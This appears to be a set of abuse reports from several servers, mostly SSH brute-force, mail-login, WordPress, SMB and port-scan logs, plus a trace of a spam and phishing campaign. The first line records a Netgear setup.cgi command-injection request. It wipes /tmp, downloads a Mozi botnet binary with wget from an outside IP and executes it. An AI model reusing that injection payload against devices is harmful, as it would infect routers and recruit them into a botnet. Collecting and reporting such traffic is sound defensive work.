/setup.cgi%3Fnext_file=netgear.cfg%26todo=syscmd%26cmd=rm+-rf+/tmp/*;wget+http://123.10.169.83:46588/Mozi.m+-O+/tmp/netgear;sh+netgear%26curpath=/%26currentsetting.htm=1

$f2bV_matches

Oct  4 03:24:40 mail.srvfarm.net postfix/smtpd[700613]: lost connection after CONNECT from unknown[221.237.189.26]
Oct  4 03:24:46 mail.srvfarm.net postfix/smtpd[702882]: warning: unknown[221.237.189.26]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Oct  4 03:24:58 mail.srvfarm.net postfix/smtpd[700613]: warning: unknown[221.237.189.26]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Oct  4 03:25:09 mail.srvfarm.net postfix/smtpd[702425]: warning: unknown[221.237.189.26]: SASL LOGIN authentication failed: UGFzc3dvcmQ6
Oct  4 03:28:44 mail.srvfarm.net postfix/smtpd[702459]: lost connection after CONNECT from unknown[221.237.189.26]

Oct  3 23:52:55 game-panel sshd[3156]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.33.13.124
Oct  3 23:52:58 game-panel sshd[3156]: Failed password for invalid user web from 112.33.13.124 port 46038 ssh2
Oct  3 23:57:18 game-panel sshd[3382]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.33.13.124

Oct  4 05:24:48 dhoomketu sshd[3542532]: Invalid user cubrid from 120.132.68.57 port 51413
Oct  4 05:24:48 dhoomketu sshd[3542532]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=120.132.68.57 
Oct  4 05:24:48 dhoomketu sshd[3542532]: Invalid user cubrid from 120.132.68.57 port 51413
Oct  4 05:24:50 dhoomketu sshd[3542532]: Failed password for invalid user cubrid from 120.132.68.57 port 51413 ssh2
Oct  4 05:26:23 dhoomketu sshd[3542553]: Invalid user server from 120.132.68.57 port 35242
...

94.153.224.202 - - [04/Oct/2020:02:47:05 +0200] "GET /wp-login.php HTTP/1.1" 200 8712 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
94.153.224.202 - - [04/Oct/2020:02:47:07 +0200] "POST /wp-login.php HTTP/1.1" 200 8942 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
94.153.224.202 - - [04/Oct/2020:02:47:08 +0200] "POST /xmlrpc.php HTTP/1.1" 200 427 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"

Unauthorized connection attempt from IP address 89.175.117.54 on Port 445(SMB)

2020-10-04T03:05:29.876658lavrinenko.info sshd[8250]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.128.233.3
2020-10-04T03:05:29.866883lavrinenko.info sshd[8250]: Invalid user president from 27.128.233.3 port 35368
2020-10-04T03:05:31.962445lavrinenko.info sshd[8250]: Failed password for invalid user president from 27.128.233.3 port 35368 ssh2
2020-10-04T03:09:33.229478lavrinenko.info sshd[8331]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.128.233.3  user=root
2020-10-04T03:09:35.144992lavrinenko.info sshd[8331]: Failed password for root from 27.128.233.3 port 38952 ssh2
...

Oct  4 00:46:49 *** sshd[26535]: User root from 119.252.143.6 not allowed because not listed in AllowUsers

Oct  4 01:51:18 pkdns2 sshd\[49200\]: Invalid user leo from 106.55.163.16Oct  4 01:51:20 pkdns2 sshd\[49200\]: Failed password for invalid user leo from 106.55.163.16 port 35442 ssh2Oct  4 01:56:08 pkdns2 sshd\[49365\]: Invalid user klaus from 106.55.163.16Oct  4 01:56:09 pkdns2 sshd\[49365\]: Failed password for invalid user klaus from 106.55.163.16 port 34586 ssh2Oct  4 02:00:53 pkdns2 sshd\[49579\]: Invalid user robin from 106.55.163.16Oct  4 02:00:55 pkdns2 sshd\[49579\]: Failed password for invalid user robin from 106.55.163.16 port 33740 ssh2
...

SSH auth scanning - multiple failed logins

RU spam - Trump Coin - From: AmericanPatriotCo | Special  - report spam to BBB

- UBE 68.71.131.8 (EHLO summernew.online) Wehostwebsites-com
- Header DKIM summernew.online = 68.71.131.8 Handy Networks, LLC
- Spam link starmether.site = 185.176.220.153 2 Cloud Ltd. – repetitive phishing redirect: spendlesslist.com = 104.144.63.165 ServerMania
- Spam link #2 starmether.site – repetitive phishing redirect: safemailremove.com = 40.64.107.53 Microsoft Corporation

Images - 151.101.120.193 Fastly
- https://i.imgur.com/krlaiKL.png = AmericanPatriotCompany.com = 23.227.38.65 myshopify.com Cloudflare; entity not found at image address: 240 N University Ave Provo UT 84601 – per BBB 6104 Biscayne Rd #53 Miami FL
- https://imgur.com/WMgLYlS.png = Helios Marketing Sarl 8345 NW 66 St #d1193 Miami FL 33166-7896

Oct  4 00:07:10 localhost sshd\[28306\]: Invalid user arkserver from 51.178.51.152
Oct  4 00:07:10 localhost sshd\[28306\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.178.51.152
Oct  4 00:07:13 localhost sshd\[28306\]: Failed password for invalid user arkserver from 51.178.51.152 port 40714 ssh2
Oct  4 00:10:52 localhost sshd\[28587\]: Invalid user testuser2 from 51.178.51.152
Oct  4 00:10:53 localhost sshd\[28587\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=51.178.51.152
...

Fail2Ban Ban Triggered

50100/tcp 50038/tcp 50039/tcp...≡ [50010/tcp,50110/tcp]
[2020-10-02]101pkt,101pt.(tcp)